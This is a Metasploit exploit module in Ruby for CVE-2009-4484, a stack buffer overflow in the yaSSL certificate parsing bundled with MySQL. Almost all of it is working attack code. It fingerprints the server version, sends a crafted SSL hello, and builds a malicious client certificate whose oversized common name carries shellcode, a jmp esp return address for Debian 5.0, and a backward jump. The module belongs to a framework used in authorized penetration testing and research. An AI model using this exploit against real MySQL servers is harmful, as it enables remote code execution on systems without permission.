189 lines
6.0 KiB
Ruby
189 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
|
|
implementation bundled with MySQL. By sending a specially crafted
|
|
client certificate, an attacker can execute arbitrary code.
|
|
|
|
This vulnerability is present within the CertDecoder::GetName function inside
|
|
"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
|
|
within a parent function's stack frame.
|
|
|
|
NOTE: This vulnerability requires a non-default configuration. First, the attacker
|
|
must be able to pass the host-based authentication. Next, the server must be
|
|
configured to listen on an accessible network interface. Lastly, the server
|
|
must have been manually configured to use SSL.
|
|
|
|
The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
|
|
on Windows XP SP3, these protections successfully prevented exploitation.
|
|
|
|
Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
|
|
present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
|
|
package were not exploitable due to the use of the compiler's FORTIFY feature.
|
|
|
|
Although suse11 was mentioned in the original blog post, the binary package they
|
|
provide does not contain yaSSL or support SSL.
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-4484' ],
|
|
[ 'BID', '37640' ],
|
|
[ 'BID', '37943' ],
|
|
[ 'BID', '37974' ],
|
|
[ 'OSVDB', '61956' ],
|
|
[ 'URL', 'http://secunia.com/advisories/38344/' ]
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1046,
|
|
'BadChars' => "",
|
|
'StackAdjustment' => -3500,
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 25 2010'))
|
|
|
|
register_options([ Opt::RPORT(3306) ], self)
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
# read the mysql server hello :)
|
|
version = nil
|
|
if (buf = sock.get_once(-1, 5) || '')
|
|
#print_status("\n" + Rex::Text.to_hex_dump(buf))
|
|
if (buf =~ /is not allowed to connect/)
|
|
fail_with(Failure::Unreachable, 'The server refused our connection!')
|
|
end
|
|
|
|
len1,cmd = buf[0,5].unpack('VC')
|
|
rest = buf[5,len1]
|
|
idx = rest.index("\x00")
|
|
if (idx)
|
|
version = rest[0,idx]
|
|
print_status("Server reports version: #{version}")
|
|
end
|
|
end
|
|
|
|
# handle automatic target selection
|
|
mytarget = nil
|
|
if (target.name =~ /Automatic/)
|
|
print_status("Attempting to locate a corresponding target")
|
|
version = "(" + version + ")"
|
|
targets.each { |tgt|
|
|
if (tgt.name.include?(version))
|
|
mytarget = tgt
|
|
end
|
|
}
|
|
|
|
if (not mytarget)
|
|
fail_with(Failure::NoTarget, 'Unable to detect target automatically')
|
|
else
|
|
print_status("Using automatically detected target: #{mytarget.name}")
|
|
end
|
|
else
|
|
mytarget = target
|
|
print_status("Trying target #{mytarget.name}...")
|
|
end
|
|
|
|
# create/send the hello packet
|
|
hello = [0x01000020].pack('V')
|
|
hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
|
|
hello << "\x00" * 20
|
|
hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
|
|
hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
|
|
hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
|
|
hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
|
|
hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
|
|
hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
|
|
hello << "\x00\x03\x02\x01\x00"
|
|
sock.put(hello)
|
|
|
|
|
|
# build a cn that will trigger the vulnerability
|
|
cn = rand_text(payload_space - payload.encoded.length)
|
|
cn << payload.encoded
|
|
cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
|
|
# NOTE: x in above (also gets passed to free())
|
|
pad = 1074 - payload_space
|
|
cn << rand_text(pad)
|
|
cn << [mytarget['JmpEsp']].pack('V')
|
|
distance = 4 + pad + 8 + payload.encoded.length
|
|
cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
|
|
|
cert = "\x2a\x86\x00\x84"
|
|
cert << [cn.length].pack('N')
|
|
cert << cn
|
|
cert = "\x30"+
|
|
"\x82\x01\x01"+
|
|
"\x31"+
|
|
"\x82\x01\x01"+
|
|
"\x30"+
|
|
"\x82\x01\x01"+
|
|
"\x06"+
|
|
"\x82\x00\x02" +
|
|
cert
|
|
|
|
cert = "\xa0\x03" +
|
|
"\x02\x01\x02" +
|
|
"\x02\x01\x00" +
|
|
"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
|
|
cert
|
|
|
|
# wrap in 2 sequences
|
|
cert = SNMP::BER.encode_tlv(0x30, cert)
|
|
cert = SNMP::BER.encode_tlv(0x30, cert)
|
|
|
|
cert1 = big_endian_24bit(cert.length) + cert
|
|
certs = big_endian_24bit(cert1.length) + cert1
|
|
|
|
handshake = "\x0b" + big_endian_24bit(certs.length) + certs
|
|
msg = "\x16\x03\x01"
|
|
msg << [handshake.length].pack('n')
|
|
msg << handshake
|
|
|
|
sock.put(msg)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
|
|
def big_endian_24bit(len)
|
|
uno = (len >> 16) & 0xff
|
|
dos = (len >> 8) & 0xff
|
|
tre = len & 0xff
|
|
[uno,dos,tre].pack('C*')
|
|
end
|
|
|
|
end
|